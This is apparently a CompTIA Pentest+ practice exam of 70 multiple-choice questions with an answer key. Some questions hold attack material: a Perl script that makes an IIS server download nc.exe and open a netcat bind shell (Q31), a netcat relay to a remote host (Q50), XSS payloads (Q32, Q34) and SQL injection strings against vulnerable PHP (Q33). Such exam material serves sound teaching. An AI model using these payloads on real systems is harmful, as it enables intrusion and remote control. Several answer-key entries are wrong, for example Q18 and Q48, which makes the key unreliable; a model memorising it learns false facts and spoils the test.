CompTIA Pentest+ (PT0-001)
Practice Exam #1

Question 1:
You have been hired as a penetration tester by an organization that wants you to conduct a risk assessment of their DMZ. The company provided Rules of Engagement states that you must do all penetration testing from an external IP address without being given any prior knowledge of the internal IT system architecture. What kind of penetration test have you been hired to perform?

a) White box
b) Grey box
c) Red team
d) Black box

Question 2:
What is a common Service Oriented Architecture Protocol (SOAP) vulnerability?

a) Cross-site scripting
b) SQL injection
c) VPath injection
d) XML denial of service issue

Question 3:
What should be done next if the final set of security controls does not eliminate all of the risk in a given system?

a) You should continue to apply additional controls until there is zero risk
b) You should ignore any remaining risk
c) You should accept the risk if the residual risk is low enough
d) You should remove the current controls since they are not completely effective

Question 4:
An organization is currently accepting bids for a contract that will involve penetration testing and reporting. The organization is asking all bidders to provide proof of previous penetration testing and reporting experience. One contractor decides to print out a few reports from some previous penetration tests that they performed. What could have occurred as a result of this contractor's actions?

a) The contractor will have their bid accepted with a special pay bonus because of their excellent work on previous penetration tests
b) The contractor may have inadvertently exposed numerous vulnerabilities they had found at other companies on previous assessments
c) The organization accepting the bids will want to use the reports as an example of the format for all bidders to use in the future
d) The company accepting the bids will hire the contractor because of the quality of the reports he submitted with his bid

Question 5:
What is a formal document that states what will and will not be performed during a penetration test?

a) SOW
b) MSA
c) NDA
d) Corporate Policy

Question 6:
What is a legal contract outlining the confidential material or information that will be shared by the pentester and the organization during an assessment?

a) SOW
b) MSA
c) NDA
d) Corporate Policy

Question 7:
What is not a step in the NIST SP 800-115 Methodology?

a) Planning
b) Discovery
c) Reporting
d) Scoping

Question 8:
What is not an example of a type of support resource that a pentester might receive as part of a white box assessment?

a) Network diagrams
b) SOAP project files
c) XSD
d) PII of employees

Question 9:
What type of assessment seeks to validate a systems security posture against a particular checklist?

a) Compliance-based
b) Objective-based
c) Goal-based
d) Red Team

Question 10:
What type of threat actor is highly funded and often backed by nation states?

a) APT
b) Hactivist
c) Scipt Kiddies
d) Insider Threat

Question 11:
If you are unable to ping a target because you are receiving no response or a response that states the destination is unreachable, then ICMP may be disabled on the remote end. If you wanted to try to elicit a response from a host using TCP, what tool would you use?

a) Hping
b) Traceroute
c) TCP ping
d) Broadcast ping

Question 12:
What system contains a publicly available set of databases with registration contact information for every domain name on the Internet?

a) WHOIS
b) IANA
c) CAPTCHA
d) IETF

Question 13:
A penetration tester hired by a bank began searching for the bank's IP ranges by performing lookups on the bank's DNS servers, reading news articles online about the bank, monitoring what times the bank's employees came into and left work, searching job postings (with a special focus on the bank's information technology jobs), and even searching the corporate office of the bank's dumpster. Based on this description, what portion of the penetration test is being conducted?

a) Information reporting
b) Vulnerability assessment
c) Active information gathering
d) Passive information gathering

Question 14:
You have conducted a Google search for the "site:webserver.com -site:sales.webserver.com financial". What results do you expect to receive?

a) Google results matching all words in the query

b) Google results matching "financial" in domain webserver.com, but no results from the site sales.webserver.com

c) Google results for keyword matches from the site sales.webserver.com that are in the domain webserver.com but do not include the word financial

d) Google results for keyword matches on webserver.com and sales.webserver.com that include the word "financial"

Question 15:
What command could be used to list the running services from the Windows command prompt?

a) sc query type= running

b) sc query \\servername

c) sc query

d) sc config

Question 16:
Windows file servers commonly hold sensitive files, databases, passwords and more. What common vulnerability is usually used against a windows file server to expose sensitive files, databases, and passwords?

a) Cross-site scripting

b) SQL injection

c) Missing patches

d) CRLF injection

Question 17:
A cybersecurity analyst is applying for a new job with a penetration testing firm. He received the job application as a secured Adobe PDF file, but unfortunately the firm locked the file with a password so the potential employee cannot fill-in the application. Instead of asking for an unlocked copy of the document, the analyst decides to write a script in Python to attempt to unlock the PDF file by using passwords from a list of commonly used passwords until he can find the correct password or attempts every password in his list. Based on this description, what kind of cryptographic attack did the analyst perform?

a) Man-in-the-middle attack

b) Brute-force attack

c) Dictionary attack

d) Session hijacking

Question 18:
An ethical hacker has been hired to conduct a physical penetration test of a company. During the first day of the test, the ethical hacker dresses up like a plumber and waits in the main lobby of the building until an employee goes through the main turnstile. As soon as the employee enters his access number and proceeds to go through the turnstile, the ethical hacker follows them through the access gate. What type of attack did the ethical hacker utilize to access the restricted area of the building?

a) Man trap
b) Tailgating
c) Shoulder surfing
d) Social engineering

Question 19:
Through which type of method is information collected during the passive reconnaissance?

a) Social engineering
b) Network traffic sniffing
c) Man in the middle attacks
d) Publicly accessible sources

Question 20:
What kind of attack is an example of IP spoofing?

a) SQL injections
b) Man-in-the-middle
c) Cross-site scripting
d) ARP poisoning

Question 21:
What type of scan will measure the size or distance of a person's external features with a digital video camera?

a) Iris scan
b) Retinal scan
c) Facial recognition scan
d) Signature kinetics scan

Question 22:
What technique does a vulnerability scanner use in order to detect a vulnerability on a specific service?

a) Port scanning
b) Banner grabbing
c) Fuzzing
d) Analyzing the response received from the service when probed

Question 23:
A cybersecurity analyst at a mid-sized retail chain has been asked to determine how much information can be gathered from the store's public web server. The analyst opens up the terminal on his Kali Linux workstation and decides to use netcat to gather some information.

```
[root@kali] nc www.webserver.com 80
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Sun, 03 Dec 2017 13:13:04 EST
Server: Apache/2.0.46 (Unix)  (Red Hat/Linux)
Last-Modified: Thu, 16 Apr 2009 11:20:14 PST
ETag: "1986-69b-123a4bc6"
Accept-Ranges: bytes
Content-Length: 6485
Connection: close
Content-Type: text/html
```

What type of action did the analyst perform, based on the command and response below?

a) Cross-site scripting attack
b) Banner grabbing
c) SQL injection attack
d) Query to the Whois database

Question 24:
Consider the following snippet from a log file collected on the host with the IP address of 10.10.3.6.

```
Time: Dec 02, 2017 07:35:15 Port:20 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
Time: Dec 02, 2017 07:35:17 Port:21 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
Time: Dec 02, 2017 07:35:19 Port:22 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
Time: Dec 02, 2017 07:35:21 Port:23 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
Time: Dec 02, 2017 07:35:23 Port:25 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
Time: Dec 02, 2017 07:35:25 Port:80 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
Time: Dec 02, 2017 07:35:27 Port:135 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
Time: Dec 02, 2017 07:35:29 Port:443 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
Time: Dec 02, 2017 07:35:31 Port:445 Source:10.10.3.2 Destination:10.10.3.6 Protocol:TCP
```

What type of activity occurred?

a) Port scan targeting 10.10.3.2
b) Fragmentation attack targeting 10.10.3.6
c) Denial of service attack targeting 10.10.3.6
d) Port scan targeting 10.10.3.6

Question 25:
A cyber security analyst is conducting a port scan of 192.168.1.45 using NMAP. During the scan, the analyst found numerous ports open and the NMAP software was unable to determine the Operating System version of the system installed at 192.168.1.45. You have been asked by the analyst to look over the results of their NMAP scan below:

```
Starting NMAP 7.60 at 2017-12-02 16:19
NMAP scan report for 192.168.1.45
Host is up (0.78s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
515/tcp open
631/tcp open ipp
9100/tcp open
MAC Address: 00:0C:29:18:6B:DB
```

What is the likely Operating System for the host?

a) Host is likely a Windows server
b) Host is likely a Linux server
c) Host is likely a Windows workstation
d) Host is likely a printer

Question 26:
You walked up behind a penetrator tester in your organization and see the following output on their Kali Linux terminal:

```
[ATTEMPT] target 172.17.182.162 - login "root" - pass "abcde" 1 of 10
[ATTEMPT] target 172.17.182.162 - login "root" - pass "efghi" 2 of 10
[ATTEMPT] target 172.17.182.162 - login "root" - pass "12345" 3 of 10
[ATTEMPT] target 172.17.182.162 - login "root" - pass "67890" 4 of 10
[ATTEMPT] target 172.17.182.162 - login "root" - pass "a1b2c" 5 of 10
[ATTEMPT] target 172.17.182.162 - login "user" - pass "abcde" 6 of 10
[ATTEMPT] target 172.17.182.162 - login "user" - pass "efghi" 7 of 10
[ATTEMPT] target 172.17.182.162 - login "user" - pass "12345" 8 of 10
[ATTEMPT] target 172.17.182.162 - login "user" - pass "67890" 9 of 10
[ATTEMPT] target 172.17.182.162 - login "user" - pass "a1b2c" 10 of 10
```

What is the penetration tester currently working on conducting?

a) Conducting a port scan of 172.17.182.162
b) Conducting a brute force login attempt of a remote service on 172.17.182.162
c) Conducting a ping sweep of 172.17.182.162/24
d) Conducting a Denial of Service attack on 172.17.182.162

Question 27:
A security analyst wants to implement a layered defense posture for this network, so he decides to use multiple layers of antivirus defense, including both an end-user desktop antivirus software and an email gateway scanner. What kind of attack would this approach help to mitigate?

a) Forensic attack
b) ARP spoofing attack
c) Social engineering attack
d) Scanning attack

Question 28:
What technique is most effective in determining whether or not increasing end-user security training would be beneficial to the organization during your technical assessment of their network?

a) Vulnerability scanning
b) Social engineering
c) Application security testing
d) Network sniffing

Question 29:
What type of malicious application does not require user intervention or another application to act as a host in order for it to replicate?

a) Macro
b) Worm
c) Trojan
d) Virus

Question 30:
What kind of security vulnerability would a newly discovered flaw in a software application be considered?

a) Input validation flaw
b) HTTP header injection vulnerability
c) Zero-day vulnerability
d) Time-to-check to time-to-use flaw

Question 31:
A penetration tester discovered a web server running IIS 4.0 during their enumeration phase. The tester decided to use the msadc.pl attack script to execute arbitrary commands on the web server. While the msadc.pl script is effective, the pentester found it too monotonous to perform extended functions. During further research, the penetration tester found a perl script that runs the following msadc commands:

```
system("perl msadc.pl -h $host -C \"echo $user>>tempfile\"");
system("perl msadc.pl -h $host -C \"echo $pass>>tempfile\"");
system("perl msadc.pl -h $host -C \"echo bin>>tempfile\"");
system("perl msadc.pl -h $host -C \"echo get nc.exe>>tempfile\"");
system("perl msadc.pl -h $host -C \"echo get hacked.html>>tempfile\"");
("perl msadc.pl -h $host -C \"echo quit>>tempfile\"");
system("perl msadc.pl -h $host -C \"ftp \-s\:tempfile\"");
$o=; print "Opening FTP connection...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
```

Which exploit is indicated by this script?

a) Buffer overflow exploit
b) Chained exploit
c) SQL injection exploit
d) Denial of Service exploit

Question 32:
An insurance company has developed a new web application to allow their customers to choose and apply for an insurance plan. You have been asked to help perform a security review of the new web application. You have discovered that the application was developed in ASP and uses MSSQL for its backend database. You have been able to locate application's search form and introduced the following code in the search input field:

IMG SRC=vbscript:msgbox("Vulnerable_to_Attack");> originalAttribute="SRC" originalPath="vbscript:msgbox("Vulnerable_to_Attack ");>"

When you click submit on the search form, your web browser returns a pop-up window that says "Vulnerable_to_Attack". What vulnerability did you discover in the web application?

a) Cross-site request forgery
b) Command injection
c) Cross-site scripting
d) SQL injection

Question 33:
A security analyst is conducting a log review of the company's webserver and found two suspicious entries:

```
[04Jan2018 10:07:23] "GET /logon.php?user=test'+oR+7>1%20-- HTTP/1.1" 200 5825
[04Jan2018 10:10:03] "GET /logon.php?user=admin';%20-- HTTP/1.1" 200 5845
```

The analyst contacts the web developer and asks for a copy of the source code to the logon.php script.

```
php
include('../../config/db_connect.php');
$user = $_GET['user']
$pass = $_GET['pass'];
$sql = "SELECT * FROM USERS WHERE username = '$user' AND password = '$pass'";
$result = MySQL_query($sql) or die ("couldn't execute query");

if (MySQL_num_rows($result) !=0 ) echo 'Authentication granted!';
else echo 'Authentication failed!';
?>
```

Based on source code analysis, what type of vulnerability is this webserver vulnerable to?

a) Command injection
b) SQL injection
c) Directory traversal
d) LDAP injection

Question 34:
While conducting a penetration test of an organization's web applications, you attempt to insert the following script into the search form on the company's web site:

<script>alert("This site is vulnerable to an attack!")</script>

You then clicked the search button and a pop-up box appears on your screen showing the following text, "This site is vulnerable to an attack!" Based on this response, what vulnerability have you uncovered in the web application?

a) Buffer overflow
b) Cross-site request forgery
c) Distributed denial of service
d) Cross-site scripting

Question 35:
A security analyst conducts a NMAP scan of a server and found that port 25 is open. What risk might this server be exposed to?

a) Open file/print sharing
b) Web portal data leak
c) Clear text authentication
d) Open mail relay

Question 36:
Which of the following a characteristic of a “Blind” SQL Injection vulnerability?

a) Administrator of the vulnerable application cannot see the request to the web server
b) Application properly filters the user input, but it is still vulnerable to code injection in a “Blind” attack
c) Administrator of the affected application does not see an error message during a successful attack
d) Attacker cannot see any of the display errors with information about the injection during a “Blind” attack

Question 37:
A pentester is trying to map the organization's internal network. The analyst enters the following command (nmap -n -sS -T4 -p 80 10.0.3.0/24). What type of scan is this?

a) Quick Scan
b) Intense Scan
c) Stealth Scan
d) Comprehensive Scan

Question 38:
What type of technique does exploit chaining often implement?
a) Injecting parameters into a connection string using semicolons as a separator
b) Inserting malicious JavaScript code into input parameters
c) Setting a user's session identifier (SID) to an explicit known value
d) Adding multiple parameters with the same name in HTTP requests

Question 39:
Which of these statement is true concerning LM hashes?
a) LM hashes consist in 48 hexadecimal characters
b) LM hashes are based on AES128 cryptographic standard
c) Uppercase characters in the password are converted to lowercase
d) LM hashes are not generated when the password length exceeds 15 characters

Question 40:
A penetration tester has exploited an FTP server using Metasploit and now wants to pivot to the organization's LAN. What is the best method for the penetration tester to use to conduct the pivot?
a) Issue the pivot exploit and setup meterpreter
b) Reconfigure the network settings in meterpreter
c) Set the payload to propagate through meterpreter
d) Create a route statement in meterpreter

Question 41:
Your team is developing an update to a piece of code that allows customers to update their billing and shipping addresses in the web application. The shipping address field used in the database was designed with a limit of 75 characters. Your team's web programmer has brought you some algorithms that may help to prevent an attacker from trying to conduct a buffer overflow attack by submitting invalid input to the shipping address field. Which pseudo code represents the best solution to prevent this issue?
a) if (shippingAddress = 75) {update field} else exit
b) if (shippingAddress != 75) {update field} else exit
c) if (shippingAddress >= 75) {update field} else exit
d) if (shippingAddress <= 75) {update field} else exit

Question 42:
A security engineer is using the Kali Linux operating system and is writing exploits in C++. What command should they use to compile their new exploit and name it notepad.exe?

a) g++ exploit.cpp -o notepad.exe
b) g++ exploit.py -o notepad.exe
c) g++ -i exploit.pl -o notepad.exe
d) g++ --compile –i exploit.cpp -o notepad.exe

Question 43:
What should administrators perform to reduce the attack surface of a system and to remove unnecessary software, services, and insecure configuration settings?

a) Harvesting
b) Windowing
c) Hardening
d) Stealthing

Question 44:
A hacker successfully modified the sale price of items purchased through your company's web site. During the investigation that followed, the security analyst has verified the web server and Oracle database was not compromised directly. The analyst also found no attacks that could have caused this during their log verification of the Intrusion Detection System (IDS). What is the mostly likely method that the attacker used to change the sale price of the items purchased?

a) SQL injection
b) Changing hidden form values
c) Buffer overflow attack
d) Cross-site scripting

Question 45:
An attacker was able to gain access to your organization's network closet while posing as a HVAC technician. While he was there, he installed a network sniffer in your switched network environment. The attacker now wants to sniff all of the packets in the network. What attack should he use?

a) Fraggle
b) MAC Flood
c) Smurf
d) Tear Drop

Question 46:
What programming language is most vulnerable to buffer overflow attacks?

a) Swift
b) C++
c) Python
d) Java

Question 47:
You have been hired to perform a web application security test. During the test, you notice that the site is dynamic and therefore must be using a backend database. You decide you want to test to determine if the site is susceptible to a SQL injection. What is the first character that you should use to attempt breaking a valid SQL request?

a) Semicolon
b) Single quote
c) Exclamation mark
d) Double quote

Question 48:
What NMAP switch would a hacker use to attempt to see which ports are open on a targeted network?

a) -s0
b) -sP
c) -sS
d) -sU

Question 49:
Your organization's networks contain 4 subnets: 10.0.0.0, 10.0.1.0, 10.0.2.0, and 10.0.3.0. Using NMAP, how can you scan all 4 subnets using a single command?

a) nmap -P 10.0.0-3.0
b) nmap -P 10.0.0.0/23
c) nmap -P 10.0.0.0,1.0,2.0,3.0
d) nmap -P 10.0.0.0/25

Question 50:
An attacker has issued the following command: nc -l -p 8080 | nc 192.168.1.76 443. Based on this command, what will occur?

a) Netcat will listen on the 192.168.1.76 interface for 443 seconds on port 8080.

b) Netcat will listen on port 8080 and output anything received to a remote connection on 192.168.1.76 port 443.

c) Netcat will listen for a connection from 192.168.1.76 on port 443 and output anything received to port 8080.

d) Netcat will listen on port 8080 and then output anything received to local interface 192.168.1.76.

Question 51:
What tool can be used to scan a network to perform vulnerability checks and compliance auditing?

a) NMAP

b) Metasploit

c) Nessus

d) BeEF

Question 52:
An attacker is searching in Google for Cisco VPN configuration files by using the filetype:pcf modifier. The attacker was able to locate several of these configuration files and now wants to decode any connectivity passwords that they might contain. What tool should the attacker use?

a) Cupp

b) Nessus scripting engine

c) Cain and Abel

d) Netcat

Question 53:
An attacker is using the nslookup interactive mode to locate information on a Domain Name Service (DNS). What command should they type to request the appropriate records for only name servers?

a) locate type=ns

b) request type=ns

c) set type=ns

d) transfer type=ns

Question 54:
What NMAP switch would you use to perform operating system detection?
a) -OS
b) -s0
c) -sP
d) -O

Question 55:
What problem can be solved by using Wireshark?
a) Tracking source code version changes
b) Validating the creation dates of webpages on a server
c) Resetting the administrator password on three different server
d) Performing packet capture and analysis on a network

Question 56:
What tool is used to collect wireless packet data?
a) Aircrack-ng
b) John the Ripper
c) Nessus
d) Netcat

Question 57:
What results will the following command yield: NMAP -sS -O -p 80-443 145.18.24.7?
a) A stealth scan, scanning ports 80 and 443
b) A stealth scan, scanning ports 80 to 443
c) A stealth scan, scanning all open ports excluding ports 80 to 443
d) A stealth scan, determine operating system, and scanning ports 80 to 443

Question 58:
What type of weakness is John the Ripper used to test during a technical assessment?
a) Usernames
b) File permissions
c) Firewall rulesets
d) Passwords

Question 59:
You are logged into the Windows command prompt and want to find what systems are "alive"_ in a portion of a Class B network (172.16.0.0/24) using ICMP. What command would best accomplish this?

a) ping 172.16.0.0
b) ping 172.16.0.255
c) for %X in (1 1 255) do PING 172.16.0.%X
d) for /L %X in (1 1 254) do PING -n 1 172.16.0.%X | FIND /I "Reply"

Question 60:
A firewall administrator has configured a new DMZ to allow public systems to be segmented from the organization's internal network. The firewall now as three security zones set: Untrusted (Internet) [143.27.43.0/24]; DMZ (DMZ) [161.212.71.0/24]; Trusted (Intranet) [10.10.0.0/24]. The firewall administrator has been asked to enable remote desktop access from a fixed IP on the remote network to a remote desktop server in the DMZ in order for the Chief Security Officer to be able to work from his home office after hours. What rule should the administrator add to the firewall?

a) Permit 143.27.43.0/24 161.212.71.0/24 RDP 3389
b) Permit 143.27.43.32 161.212.71.14 RDP 3389
c) Permit 143.27.43.32 161.212.71.0/24 RDP 3389
d) Permit 143.27.43.0/24 161.212.71.14 RDP 3389

Question 61:
A recently hired security employee at a bank was asked to perform daily scans of the bank's intranet in order to look for unauthorized devices. The new employee decides to create a script that scans the network for unauthorized devices every morning at 2:00 am. What programming language would work best to create this script?

a) PHP
b) C#
c) Python
d) ASP.NET

Question 62:
What must be developed in order to show security improvements over time?

a) Reports
b) Testing tools
c) Metrics
d) Taxonomy of vulnerabilities

Question 63:
What activity is not a part of the post-engagement cleanup?
a) Removing shells
b) Removing tester-created credentials
c) Removing tools
d) Modifying log files

Question 64:
What is not one of the three categories of solutions that all of the pentester's recommended mitigations should fall into?
a) People
b) Process
c) Technology
d) Problems

Question 65:
During a penetration test, you conduct an exploit that creates a denial of service condition by crashing the httpd server. What should you do?
a) Immediately contact the organization and inform them of the issue
b) Continue with the exploitation
c) Pivot to another machine
d) Contact the organization's customer service department and conduct further information gathering

Question 66:
What term describes the amount of risk an organization is willing to accept?
a) Risk appetite
b) Risk mitigation
c) Risk acceptance
d) Risk avoidance

Question 67:
During a penetration test, you find a hash value that is related to malware associated with an APT. What best describes what you have found?
a) Indicator of compromise
b) Botnet
c) SQL injection
d) XSRF
Question 68:

What should NOT be included in your final report for the assessment and provided to the organization?

a) Executive summary
b) Methodology used
c) Findings and recommendations
d) Detailed list of costs incurred

Question 69:
When you are managing a risk, what is considered an acceptable option?

a) Reject it
b) Deny it
c) Mitigate it
d) Initiate it

Question 70:
After issuing the command “telnet jasondion.com 80” and connecting to the server, what command is used to conduct the banner grab?

a) HEAD / HTTP/1.1
b) PUT / HTTP/1.1
c) HEAD / HTTP/2.0
d) PUT / HTTP/2.0

CompTIA Pentest+ (PT0-001)
Practice Exam #1

Answer Key

1	D
2	D
3	C
4	B
5	A
6	C
7	D
8	D
9	A
10	A
11	A
12	A
13	D
14	B
15	C
16	C
17	C
18	A
19	D
20	B
21	C
22	D
23	B
24	D
25	D
26	B
27	C
28	B
29	B
30	C
31	B
32	C
33	B
34	D
35	D
36	D
37	C
38	A
39	D
40	D
41	D
42	A
43	C
44	B
45	B
46	B
47	B
48	A
49	A
50	B
51	C
52	C
53	C
54	D
55	D
56	A
57	D
58	D
59	D
60	B
61	C
62	C
63	D
64	D
65	A
66	A
67	A
68	D
69	C
70	A